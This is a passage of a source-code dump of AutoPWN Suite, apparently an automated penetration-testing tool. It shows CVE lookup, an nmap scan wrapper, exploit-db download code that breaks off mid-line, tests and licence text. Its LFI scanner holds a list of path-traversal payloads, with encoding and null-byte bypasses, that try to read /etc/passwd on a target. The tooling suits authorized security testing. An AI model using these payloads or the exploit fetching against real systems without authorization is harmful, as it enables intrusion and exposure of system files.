telnetd", 28 | "microsoft windows rpc", 29 | "metasploitable root shell", 30 | "gnu classpath grmiregistry", 31 | ] 32 | known_vulns = [ 33 | "unrealircd" 34 | ] 35 | if product.lower() not in dontsearch and product != "" and ( 36 | product.lower() in known_vulns or version != "" 37 | ): 38 | stripped_name = product.split("/")[0] 39 | stripped_version = version.split(" ")[0].split("-")[0] 40 | keyword = f"{stripped_name} {stripped_version}".rstrip() 41 | 42 | return keyword 43 | 44 | 45 | def GenerateKeywords(HostArray: list) -> list: 46 | keywords = [] 47 | for port in HostArray: 48 | product = str(port[3]) 49 | version = str(port[4]) 50 | 51 | keyword = GenerateKeyword(product, version) 52 | if not keyword == "" and not keyword in keywords: 53 | keywords.append(keyword) 54 | 55 | return keywords 56 | 57 | 58 | def SearchKeyword(keyword: str, log, apiKey=None) -> list: 59 | 60 | try: 61 | ApiResponseCVE = searchCVE(keyword, log, apiKey) 62 | except KeyboardInterrupt: 63 | log.logger("warning", f"Skipped vulnerability detection for {keyword}") 64 | except Exception as e: 65 | log.logger("error", e) 66 | else: 67 | return ApiResponseCVE 68 | 69 | return [] 70 | 71 | 72 | def SearchSploits(HostArray: list, log, console, console2, apiKey=None) -> list: 73 | VulnsArray = [] 74 | target = str(HostArray[0][0]) 75 | term_width = get_terminal_width() 76 | 77 | if not CheckConnection(log): 78 | return [] 79 | 80 | keywords = GenerateKeywords(HostArray) 81 | 82 | if len(keywords) == 0: 83 | log.logger("warning", f"Insufficient information for {target}") 84 | return [] 85 | 86 | log.logger( 87 | "info", f"Searching vulnerability database for {len(keywords)} keyword(s) ..." 88 | ) 89 | 90 | printed_banner = False 91 | with console2.status( 92 | "[white]Searching vulnerabilities ...[/white]", spinner="bouncingBar" 93 | ) as status: 94 | for keyword in keywords: 95 | status.start() 96 | status.update( 97 | "[white]Searching vulnerability database for[/white] " 98 | + f"[red]{keyword}[/red] [white]...[/white]" 99 | ) 100 | ApiResponseCVE = SearchKeyword(keyword, log, apiKey) 101 | status.stop() 102 | if len(ApiResponseCVE) == 0: 103 | continue 104 | 105 | if not printed_banner: 106 | banner(f"Possible vulnerabilities for {target}", "red", console) 107 | printed_banner = True 108 | 109 | console.print(f"┌─ [yellow][ {keyword} ][/yellow]") 110 | 111 | CVEs = [] 112 | for CVE in ApiResponseCVE: 113 | CVEs.append(CVE.CVEID) 114 | console.print(f"│\n├─────┤ [red]{CVE.CVEID}[/red]\n│") 115 | 116 | wrapped_description = wrap(CVE.description, term_width - 50) 117 | console.print(f"│\t\t[cyan]Description: [/cyan]") 118 | for line in wrapped_description: 119 | console.print(f"│\t\t\t{line}") 120 | console.print( 121 | f"│\t\t[cyan]Severity: [/cyan]{CVE.severity} - {CVE.severity_score}\n" 122 | + f"│\t\t[cyan]Exploitability: [/cyan] {CVE.exploitability}\n" 123 | + f"│\t\t[cyan]Details: [/cyan] {CVE.details_url}" 124 | ) 125 | 126 | VulnObject = VulnerableSoftware(title=keyword, CVEs=CVEs) 127 | VulnsArray.append(VulnObject) 128 | console.print("└" + "─" * (term_width - 1)) 129 | 130 | return VulnsArray 131 | -------------------------------------------------------------------------------- /modules/web/lfi.py: -------------------------------------------------------------------------------- 1 | from threading import main_thread 2 | from requests import get 3 | from requests import packages 4 | 5 | 6 | packages.urllib3.disable_warnings() 7 | 8 | class LFIScanner: 9 | def __init__(self, log, console) -> None: 10 | self.log = log 11 | self.console = console 12 | self.tested_urls = [] 13 | self.lfi_tests = [ 14 | r"../../../../../etc/passwd", 15 | r"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2" 16 | + r"e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", 17 | r"..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd", 18 | r"\\'/bin/cat%20/etc/passwd\\'", 19 | r"/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd", 20 | r"/..%c0%af../..%c0%af../..%c0%af../..%c0" 21 | + r"%af../..%c0%af../..%c0%af../etc/passwd", 22 | r"/etc/default/passwd", 23 | r"/./././././././././././etc/passwd", 24 | r"/../../../../../../../../../../etc/passwd", 25 | r"/../../../../../../../../../../etc/passwd^^", 26 | r"/..\\../..\\../..\\../..\\../..\\../..\\../etc/passwd", 27 | r"/etc/passwd", 28 | r"%0a/bin/cat%20/etc/passwd", 29 | r"%00../../../../../../etc/passwd", 30 | r"%00/etc/passwd%00", 31 | r"../../../../../../../../../../../../" 32 | + r"../../../../../../../../../../etc/passwd", 33 | r"../../etc/passwd", 34 | r"../etc/passwd", 35 | r".\\./.\\./.\\./.\\./.\\./.\\./etc/passwd", 36 | r"etc/passwd", 37 | r"/etc/passwd%00", 38 | r"../../../../../../../../../../../../../" 39 | + r"../../../../../../../../../etc/passwd%00", 40 | r"../../etc/passwd%00", 41 | r"../etc/passwd%00", 42 | r"/../../../../../../../../../../../etc/passwd%00.html", 43 | r"/../../../../../../../../../../../etc/passwd%00.jpg", 44 | r"/../../../../../../../../../../../etc/passwd%00.php", 45 | r"/../../../../../../../../../../../etc/passwd%00.txt", 46 | r"../../../../../../etc/passwd&=%3C%3C%3C%3C", 47 | r"....\\/....\\/....\\/....\\/....\\/....\\/....\\/....\\/" 48 | + r"....\\/....\\/....\\/....\\/....\\/....\\/....\\/....\\/" 49 | + r"....\\/....\\/....\\/....\\/....\\/....\\/etc/passwd", 50 | r"....\\/....\\/etc/passwd", 51 | r"....\\/etc/passwd", 52 | r"....//....//....//....//....//....//....//....//" 53 | + r"....//....//....//....//....//....//....//" 54 | + r"....//....//....//....//....//....//....//etc/passwd", 55 | r"....//....//etc/passwd", 56 | r"....//etc/passwd", 57 | r"/etc/security/passwd", 58 | r"///////../../../etc/passwd", 59 | r"..2fetc2fpasswd", 60 | r"..2fetc2fpasswd%00", 61 | r"..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f.." 62 | + r"2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd", 63 | r"..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f.." 64 | + r"2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00", 65 | ] 66 | 67 | def exploit_lfi(self, base_url, url_params) -> None: 68 | for param in url_params: 69 | for test in self.lfi_tests: 70 | param_no_value = param.split("=")[0] 71 | main_url = f"{base_url}?{param_no_value}" 72 | 73 | if not main_url in self.tested_urls: 74 | self.tested_urls.append(main_url) 75 | test_url = f"{main_url}={test}" 76 | else: 77 | continue 78 | 79 | try: 80 | response = get(test_url, verify=False) 81 | except ConnectionError: 82 | self.log.logger( 83 | "error", f"Connection error raised on: {test_url}, skipping" 84 | ) 85 | continue 86 | else: 87 | if response.text.find("root:x:0:0:root:/root") != -1: 88 | self.console.print( 89 | f"[red][[/red][green]+[/green][red]][/red]" 90 | + f" [white]LFI :[/white] {test_url}" 91 | ) 92 | break 93 | 94 | def test_lfi(self, url) -> None: 95 | """ 96 | Test for LFI 97 | """ 98 | base_url, params = url.split("?")[0], url.split("?")[1] 99 | params_dict = params.split("&") 100 | self.exploit_lfi(base_url, params_dict) 101 | -------------------------------------------------------------------------------- /tests/test_setup_validation.py: -------------------------------------------------------------------------------- 1 | """ 2 | Validation tests to ensure the testing infrastructure is properly set up. 3 | """ 4 | import sys 5 | import pytest 6 | from pathlib import Path 7 | 8 | 9 | class TestSetupValidation: 10 | """Validate that the testing infrastructure is properly configured.""" 11 | 12 | @pytest.mark.unit 13 | def test_project_imports(self): 14 | """Test that main project modules can be imported.""" 15 | # Test importing main modules 16 | import autopwn 17 | import api 18 | import modules 19 | 20 | # Verify modules are loaded from correct path 21 | project_root = Path(__file__).parent.parent 22 | assert Path(autopwn.__file__).parent == project_root 23 | assert Path(api.__file__).parent == project_root 24 | 25 | @pytest.mark.unit 26 | def test_pytest_markers(self, request): 27 | """Test that custom pytest markers are registered.""" 28 | # Check that our custom markers exist 29 | markers = request.config.getini("markers") 30 | marker_names = [m.split(":")[0].strip() for m in markers] 31 | 32 | assert "unit" in marker_names 33 | assert "integration" in marker_names 34 | assert "slow" in marker_names 35 | 36 | @pytest.mark.unit 37 | def test_fixtures_available(self, temp_dir, mock_config, sample_vulnerability_data): 38 | """Test that key fixtures are available and working.""" 39 | # Test temp_dir fixture 40 | assert temp_dir.exists() 41 | assert temp_dir.is_dir() 42 | 43 | # Test mock_config fixture 44 | assert mock_config.target == "192.168.1.1" 45 | assert mock_config.port == 80 46 | 47 | # Test sample data fixture 48 | assert "CVE-2021-44228" in sample_vulnerability_data 49 | assert sample_vulnerability_data["CVE-2021-44228"]["severity"] == "CRITICAL" 50 | 51 | @pytest.mark.unit 52 | def test_temp_file_fixture(self, temp_file): 53 | """Test the temp_file fixture functionality.""" 54 | # Create a test file 55 | test_content = "Hello, testing!" 56 | test_path = temp_file("test.txt", test_content) 57 | 58 | assert test_path.exists() 59 | assert test_path.read_text() == test_content 60 | 61 | @pytest.mark.unit 62 | def test_mock_fixtures(self, mock_scanner, mock_http_response): 63 | """Test that mock fixtures work correctly.""" 64 | # Test mock scanner 65 | result = mock_scanner.scan() 66 | assert "scan" in result 67 | assert "192.168.1.1" in result["scan"] 68 | 69 | # Test mock HTTP response 70 | response = mock_http_response(200, "OK") 71 | assert response.status_code == 200 72 | assert response.text == "OK" 73 | 74 | @pytest.mark.unit 75 | def test_coverage_import(self): 76 | """Test that coverage tools are available.""" 77 | import coverage 78 | import pytest_cov 79 | 80 | # Verify coverage is properly installed 81 | assert hasattr(coverage, "Coverage") 82 | 83 | @pytest.mark.integration 84 | def test_project_structure(self): 85 | """Test that the project structure is correct.""" 86 | project_root = Path(__file__).parent.parent 87 | 88 | # Check main directories exist 89 | assert (project_root / "modules").exists() 90 | assert (project_root / "modules" / "web").exists() 91 | assert (project_root / "tests").exists() 92 | assert (project_root / "tests" / "unit").exists() 93 | assert (project_root / "tests" / "integration").exists() 94 | 95 | # Check main files exist 96 | assert (project_root / "autopwn.py").exists() 97 | assert (project_root / "api.py").exists() 98 | assert (project_root / "requirements.txt").exists() 99 | assert (project_root / "pyproject.toml").exists() 100 | 101 | @pytest.mark.unit 102 | def test_captured_output_fixture(self, capsys): 103 | """Test that output can be captured (using built-in capsys).""" 104 | print("Test stdout") 105 | sys.stderr.write("Test stderr") 106 | 107 | captured = capsys.readouterr() 108 | 109 | assert "Test stdout" in captured.out 110 | assert "Test stderr" in captured.err 111 | 112 | @pytest.mark.slow 113 | def test_slow_marker(self): 114 | """Test that the slow marker works (this test is marked as slow).""" 115 | import time 116 | # Simulate a slow operation 117 | time.sleep(0.1) 118 | assert True -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 |

End-User License Agreement (EULA) of AutoPWN Suite

2 | 3 |

This End-User License Agreement ("EULA") is a legal agreement between you and AutoPWN Suite. Our EULA was created by EULA Template for AutoPWN Suite.

4 | 5 |

This EULA agreement governs your acquisition and use of our AutoPWN Suite software ("Software") directly from AutoPWN Suite or indirectly through a AutoPWN Suite authorized reseller or distributor (a "Reseller").

6 | 7 |

Please read this EULA agreement carefully before completing the installation process and using the AutoPWN Suite software. It provides a license to use the AutoPWN Suite software and contains warranty information and liability disclaimers.

8 | 9 |

If you register for a free trial of the AutoPWN Suite software, this EULA agreement will also govern that trial. By clicking "accept" or installing and/or using the AutoPWN Suite software, you are confirming your acceptance of the Software and agreeing to become bound by the terms of this EULA agreement.

10 | 11 |

If you are entering into this EULA agreement on behalf of a company or other legal entity, you represent that you have the authority to bind such entity and its affiliates to these terms and conditions. If you do not have such authority or if you do not agree with the terms and conditions of this EULA agreement, do not install or use the Software, and you must not accept this EULA agreement.

12 | 13 |

This EULA agreement shall apply only to the Software supplied by AutoPWN Suite herewith regardless of whether other software is referred to or described herein. The terms also apply to any AutoPWN Suite updates, supplements, Internet-based services, and support services for the Software, unless other terms accompany those items on delivery. If so, those terms apply.

14 | 15 |

License Grant

16 | 17 |

AutoPWN Suite hereby grants you a personal, non-transferable, non-exclusive licence to use the AutoPWN Suite software on your devices in accordance with the terms of this EULA agreement.

18 | 19 |

You are permitted to load the AutoPWN Suite software (for example a PC, laptop, mobile or tablet) under your control. You are responsible for ensuring your device meets the minimum requirements of the AutoPWN Suite software.

20 | 21 |

You are not permitted to:

22 | 23 | 30 | 31 |

Intellectual Property and Ownership

32 | 33 |

AutoPWN Suite shall at all times retain ownership of the Software as originally downloaded by you and all subsequent downloads of the Software by you. The Software (and the copyright, and other intellectual property rights of whatever nature in the Software, including any modifications made thereto) are and shall remain the property of AutoPWN Suite.

34 | 35 |

AutoPWN Suite reserves the right to grant licences to use the Software to third parties.

36 | 37 |

Termination

38 | 39 |

This EULA agreement is effective from the date you first use the Software and shall continue until terminated. You may terminate it at any time upon written notice to AutoPWN Suite.

40 | 41 |

It will also terminate immediately if you fail to comply with any term of this EULA agreement. Upon such termination, the licenses granted by this EULA agreement will immediately terminate and you agree to stop all access and use of the Software. The provisions that by their nature continue and survive will survive any termination of this EULA agreement.

42 | 43 |

Governing Law

44 | 45 |

This EULA agreement, and any dispute arising out of or in connection with this EULA agreement, shall be governed by and construed in accordance with the laws of tr.

46 | -------------------------------------------------------------------------------- /tests/unit/test_web_dirbust.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the dirbust module. 3 | """ 4 | from unittest.mock import MagicMock, mock_open, patch 5 | 6 | import pytest 7 | from requests.exceptions import ConnectionError 8 | 9 | from modules.web.dirbust import dirbust 10 | 11 | 12 | @pytest.mark.unit 13 | class TestDirbust: 14 | """Tests for the dirbust function.""" 15 | 16 | @pytest.fixture 17 | def mock_log_console(self): 18 | """Fixture for a mocked logger and console.""" 19 | return MagicMock(), MagicMock() 20 | 21 | @patch("modules.web.dirbust.random_user_agent") 22 | @patch("modules.web.dirbust.get") 23 | @patch("modules.web.dirbust.open", new_callable=mock_open, read_data="admin\napi") 24 | def test_dir_found_200(self, mock_file, mock_get, mock_ua, mock_log_console): 25 | """Verify a found directory (200 OK) is printed.""" 26 | mock_log, mock_console = mock_log_console 27 | mock_ua.return_value = iter(["Test-UA", "Test-UA-2"]) 28 | 29 | mock_response = MagicMock() 30 | mock_response.status_code = 200 31 | mock_response.is_redirect = False 32 | mock_get.return_value = mock_response 33 | 34 | dirbust("http://example.com", mock_console, mock_log) 35 | 36 | # It should be called for 'admin' and 'api' 37 | assert mock_console.print.call_count == 2 38 | mock_console.print.assert_any_call("[red][[/red][green]+[/green][red]][/red] [white]DIR :[/white] http://example.com/admin") 39 | 40 | @patch("modules.web.dirbust.random_user_agent") 41 | @patch("modules.web.dirbust.get") 42 | @patch("modules.web.dirbust.open", new_callable=mock_open, read_data="test") 43 | def test_dir_not_found_404(self, mock_file, mock_get, mock_ua, mock_log_console): 44 | """Verify a 404 response is correctly ignored.""" 45 | mock_log, mock_console = mock_log_console 46 | mock_ua.return_value = iter(["Test-UA"]) 47 | 48 | mock_response = MagicMock() 49 | mock_response.status_code = 404 50 | mock_get.return_value = mock_response 51 | 52 | dirbust("http://example.com", mock_console, mock_log) 53 | 54 | mock_console.print.assert_not_called() 55 | 56 | @patch("modules.web.dirbust.random_user_agent") 57 | @patch("modules.web.dirbust.get") 58 | @patch("modules.web.dirbust.open", new_callable=mock_open, read_data="admin") 59 | def test_dir_redirect(self, mock_file, mock_get, mock_ua, mock_log_console): 60 | """Verify a redirect is correctly identified and printed.""" 61 | mock_log, mock_console = mock_log_console 62 | mock_ua.return_value = iter(["Test-UA"]) 63 | 64 | mock_response = MagicMock() 65 | mock_response.status_code = 301 66 | mock_response.is_redirect = True 67 | mock_response.url = "http://example.com/admin/" 68 | mock_get.return_value = mock_response 69 | 70 | dirbust("http://example.com", mock_console, mock_log) 71 | 72 | mock_console.print.assert_called_once_with( 73 | "[red][[/red][green]+[/green][red]][/red] [white]DIR :[/white] http://example.com/admin -> http://example.com/admin/" 74 | ) 75 | 76 | @patch("modules.web.dirbust.open", side_effect=FileNotFoundError) 77 | def test_wordlist_not_found(self, mock_file, mock_log_console): 78 | """Verify that a missing wordlist is handled gracefully.""" 79 | mock_log, mock_console = mock_log_console 80 | dirbust("http://example.com", mock_console, mock_log) 81 | mock_log.logger.assert_called_with("error", "Web discovery database not found.") 82 | 83 | @patch("modules.web.dirbust.random_user_agent") 84 | @patch("modules.web.dirbust.get", side_effect=ConnectionError("Test connection error")) 85 | @patch("modules.web.dirbust.open", new_callable=mock_open, read_data="admin") 86 | def test_connection_error(self, mock_file, mock_get, mock_ua, mock_log_console): 87 | """Verify that a connection error is handled gracefully.""" 88 | mock_log, mock_console = mock_log_console 89 | mock_ua.return_value = iter(["Test-UA"]) 90 | 91 | dirbust("http://example.com", mock_console, mock_log) 92 | 93 | # Check that logger was called with an error and a ConnectionError instance 94 | mock_log.logger.assert_called_once() 95 | call_args, _ = mock_log.logger.call_args 96 | assert call_args[0] == "error" 97 | assert isinstance(call_args[1], ConnectionError) 98 | assert str(call_args[1]) == "Test connection error" 99 | 100 | @patch("modules.web.dirbust.random_user_agent") 101 | @patch("modules.web.dirbust.get", side_effect=Exception("Generic test error")) 102 | @patch("modules.web.dirbust.open", new_callable=mock_open, read_data="admin") 103 | def test_dirbust_generic_exception(self, mock_file, mock_get, mock_ua, mock_log_console): 104 | """Verify that a generic exception is handled gracefully.""" 105 | mock_log, mock_console = mock_log_console 106 | mock_ua.return_value = iter(["Test-UA"]) 107 | 108 | dirbust("http://example.com", mock_console, mock_log) 109 | 110 | # Check that the logger was called with an error and the Exception instance 111 | mock_log.logger.assert_called_once() 112 | call_args, _ = mock_log.logger.call_args 113 | assert call_args[0] == "error" 114 | assert isinstance(call_args[1], Exception) 115 | assert str(call_args[1]) == "Generic test error" -------------------------------------------------------------------------------- /.github/CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, religion, or sexual identity 10 | and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | * Demonstrating empathy and kindness toward other people 21 | * Being respectful of differing opinions, viewpoints, and experiences 22 | * Giving and gracefully accepting constructive feedback 23 | * Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | * Focusing on what is best not just for us as individuals, but for the 26 | overall community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | * The use of sexualized language or imagery, and sexual attention or 31 | advances of any kind 32 | * Trolling, insulting or derogatory comments, and personal or political attacks 33 | * Public or private harassment 34 | * Publishing others' private information, such as a physical or email 35 | address, without their explicit permission 36 | * Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | Discord. 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 | 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series 86 | of actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or 93 | permanent ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within 113 | the community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.0, available at 119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 120 | 121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct 122 | enforcement ladder](https://github.com/mozilla/diversity). 123 | 124 | [homepage]: https://www.contributor-covenant.org 125 | 126 | For answers to common questions about this code of conduct, see the FAQ at 127 | https://www.contributor-covenant.org/faq. Translations are available at 128 | https://www.contributor-covenant.org/translations. 129 | -------------------------------------------------------------------------------- /api.py: -------------------------------------------------------------------------------- 1 | from json import dumps 2 | from typing import Any, Dict, List, Type, Union 3 | 4 | from nmap import PortScanner 5 | 6 | from modules.nist_search import searchCVE 7 | from modules.searchvuln import GenerateKeyword 8 | from modules.utils import fake_logger, is_root 9 | 10 | JSON = Union[Dict[str, Any], List[Any], int, str, float, bool, Type[None]] 11 | 12 | 13 | class AutoScanner: 14 | def __init__(self) -> None: 15 | self.scan_results = {} 16 | 17 | def __str__(self) -> str: 18 | return str(self.scan_results) 19 | 20 | def InitHostInfo(self, target_key: JSON) -> JSON: 21 | os_info = {} 22 | try: 23 | mac = target_key["addresses"]["mac"] 24 | except (KeyError, IndexError): 25 | mac = "Unknown" 26 | 27 | try: 28 | vendor = target_key["vendor"][0] 29 | except (KeyError, IndexError): 30 | vendor = "Unknown" 31 | 32 | try: 33 | os_name = target_key["osmatch"][0]["name"] 34 | except (KeyError, IndexError): 35 | os_name = "Unknown" 36 | 37 | try: 38 | os_accuracy = target_key["osmatch"][0]["accuracy"] 39 | except (KeyError, IndexError): 40 | os_accuracy = "Unknown" 41 | 42 | try: 43 | os_type = target_key["osmatch"][0]["osclass"][0]["type"] 44 | except (KeyError, IndexError): 45 | os_type = "Unknown" 46 | 47 | os_info["mac"] = mac 48 | os_info["vendor"] = vendor 49 | os_info["os_name"] = os_name 50 | os_info["os_accuracy"] = os_accuracy 51 | os_info["os_type"] = os_type 52 | 53 | return os_info 54 | 55 | def ParseVulnInfo(self, vuln): 56 | vuln_info = {} 57 | vuln_info["description"] = vuln.description 58 | vuln_info["severity"] = vuln.severity 59 | vuln_info["severity_score"] = vuln.severity_score 60 | vuln_info["details_url"] = vuln.details_url 61 | vuln_info["exploitability"] = vuln.exploitability 62 | 63 | return vuln_info 64 | 65 | def CreateScanArgs( 66 | self, 67 | host_timeout, 68 | scan_speed, 69 | os_scan: bool, 70 | nmap_args, 71 | ) -> str: 72 | 73 | scan_args = ["-sV"] 74 | 75 | if host_timeout: 76 | scan_args.append("--host-timeout") 77 | scan_args.append(str(host_timeout)) 78 | 79 | if scan_speed and scan_speed in range(0, 6): 80 | scan_args.append("-T") 81 | scan_args.append(str(scan_speed)) 82 | elif scan_speed and not scan_speed in range(0, 6): 83 | raise Exception("Scanspeed must be in range of 0, 5.") 84 | 85 | if is_root() and os_scan: 86 | scan_args.append("-O") 87 | elif os_scan: 88 | raise Exception("Root privileges are required for os scan.") 89 | 90 | if type(nmap_args) == list: 91 | for arg in nmap_args: 92 | scan_args.append(arg) 93 | elif type(nmap_args) == str: 94 | scan_args.append(nmap_args) 95 | 96 | scan_arguments = " ".join(scan_args) 97 | 98 | return scan_arguments 99 | 100 | def SearchVuln( 101 | self, port_key: JSON, apiKey: str = None, debug: bool = False 102 | ) -> JSON: 103 | product = port_key["product"] 104 | version = port_key["version"] 105 | log = fake_logger() 106 | 107 | keyword = GenerateKeyword(product, version) 108 | if keyword == "": 109 | return 110 | 111 | if debug: 112 | print(f"Searching for keyword {keyword} ...") 113 | 114 | Vulnerablities = searchCVE(keyword, log, apiKey) 115 | if len(Vulnerablities) == 0: 116 | return 117 | 118 | vulns = {} 119 | for vuln in Vulnerablities: 120 | vulns[vuln.CVEID] = self.ParseVulnInfo(vuln) 121 | 122 | return vulns 123 | 124 | def scan( 125 | self, 126 | target, 127 | host_timeout: int = None, 128 | scan_speed: int = None, 129 | apiKey: str = None, 130 | os_scan: bool = False, 131 | scan_vulns: bool = True, 132 | nmap_args=None, 133 | debug: bool = False, 134 | ) -> JSON: 135 | if type(target) == str: 136 | target = [target] 137 | 138 | log = fake_logger() 139 | nm = PortScanner() 140 | scan_arguments = self.CreateScanArgs( 141 | host_timeout, scan_speed, os_scan, nmap_args 142 | ) 143 | for host in target: 144 | if debug: 145 | print(f"Scanning {host} ...") 146 | 147 | nm.scan(hosts=host, arguments=scan_arguments) 148 | try: 149 | port_scan = nm[host]["tcp"] 150 | except KeyError: 151 | pass 152 | else: 153 | self.scan_results[host] = {} 154 | self.scan_results[host]["ports"] = port_scan 155 | 156 | if os_scan and is_root(): 157 | os_info = self.InitHostInfo(nm[host]) 158 | self.scan_results[host]["os"] = os_info 159 | 160 | if not scan_vulns: 161 | continue 162 | 163 | vulns = {} 164 | for port in nm[host]["tcp"]: 165 | product = nm[host]["tcp"][port]["product"] 166 | Vulnerablities = self.SearchVuln(nm[host]["tcp"][port], apiKey, debug) 167 | if Vulnerablities: 168 | vulns[product] = Vulnerablities 169 | 170 | self.scan_results[host]["vulns"] = vulns 171 | 172 | return self.scan_results 173 | 174 | def save_to_file(self, filename: str = "autopwn.json") -> None: 175 | with open(filename, "w") as output: 176 | json_object = dumps(self.scan_results) 177 | output.write(json_object) 178 | -------------------------------------------------------------------------------- /modules/getexploits.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | from os import mkdir 3 | from os.path import exists 4 | from time import sleep 5 | 6 | from requests import get 7 | from requests.exceptions import ConnectionError 8 | 9 | from modules.logger import banner 10 | from modules.random_user_agent import random_user_agent 11 | from modules.utils import get_terminal_width 12 | 13 | 14 | @dataclass 15 | class ExploitInfo: 16 | Platform: str 17 | PublishDate: str 18 | Type: str 19 | ExploitDBID: int 20 | Author: str 21 | Metasploit: bool 22 | Verified: bool 23 | Link: str 24 | 25 | 26 | def GetExploitInfo(CVEID, log) -> list[ExploitInfo]: 27 | sleep(0.75) 28 | try: 29 | apidata = get( 30 | f"https://www.exploit-db.com/search?cve={CVEID}", 31 | headers={ 32 | "X-Requested-With": "XMLHttpRequest", 33 | "User-Agent": next(random_user_agent(log)), 34 | }, 35 | ).json() 36 | except ConnectionError: 37 | log.logger( 38 | "error", 39 | "Connection error raised while trying" 40 | + f" to fetch information about: {CVEID}", 41 | ) 42 | return [] 43 | except Exception as e: 44 | log.logger("error", f"An error occured while parsing API response.") 45 | return [] 46 | else: 47 | ExploitInfos = [] 48 | for exploit in apidata["data"]: 49 | Exploit = ExploitInfo( 50 | Platform=exploit["platform_id"], 51 | PublishDate=exploit["date_published"], 52 | Type=exploit["type_id"], 53 | ExploitDBID=int(exploit["id"]), 54 | Author=exploit["author"]["name"], 55 | Metasploit=exploit["author"]["name"] == "Metasploit", 56 | Verified=exploit["verified"] == "1", 57 | Link=f"https://www.exploit-db.com/download/{exploit['id']}", 58 | ) 59 | ExploitInfos.append(Exploit) 60 | 61 | return ExploitInfos 62 | 63 | 64 | def GetExploitContents(ExploitLink, log) -> tuple: 65 | sleep(0.75) 66 | user_agent = next(random_user_agent(log)) 67 | try: 68 | apiresponse = get( 69 | ExploitLink, 70 | headers={ 71 | "X-Requested-With": "XMLHttpRequest", 72 | "User-Agent": user_agent, 73 | }, 74 | ) 75 | content = apiresponse.content 76 | filename = apiresponse.headers["Content-Disposition"].lstrip( 77 | 'attachment; filename="' 78 | ) 79 | except ConnectionError: 80 | log.logger( 81 | "error", f"Connection error raised while trying to fetch: {ExploitLink}" 82 | ) 83 | return None, None 84 | except KeyError: 85 | log.logger( 86 | "error", f"Unable to retrieve contents of {ExploitLink} {user_agent}" 87 | ) 88 | return None, None 89 | else: 90 | return content, filename 91 | 92 | 93 | def GetExploitAsFile(vulnerability, log, console, status) -> None: 94 | SoftwareName = vulnerability.title 95 | CVEs = vulnerability.CVEs 96 | term_width = get_terminal_width() 97 | 98 | if not exists("exploits"): 99 | mkdir("exploits") 100 | 101 | printed_software = [] 102 | for CVE in CVEs: 103 | Exploits = GetExploitInfo(CVE, log) 104 | if len(Exploits) == 0: 105 | continue 106 | status.stop() 107 | if SoftwareName not in printed_software: 108 | console.print(f"┌─[yellow][ {SoftwareName} ][/yellow]\n│") 109 | printed_software.append(SoftwareName) 110 | 111 | console.print(f"│\n├─────┤ 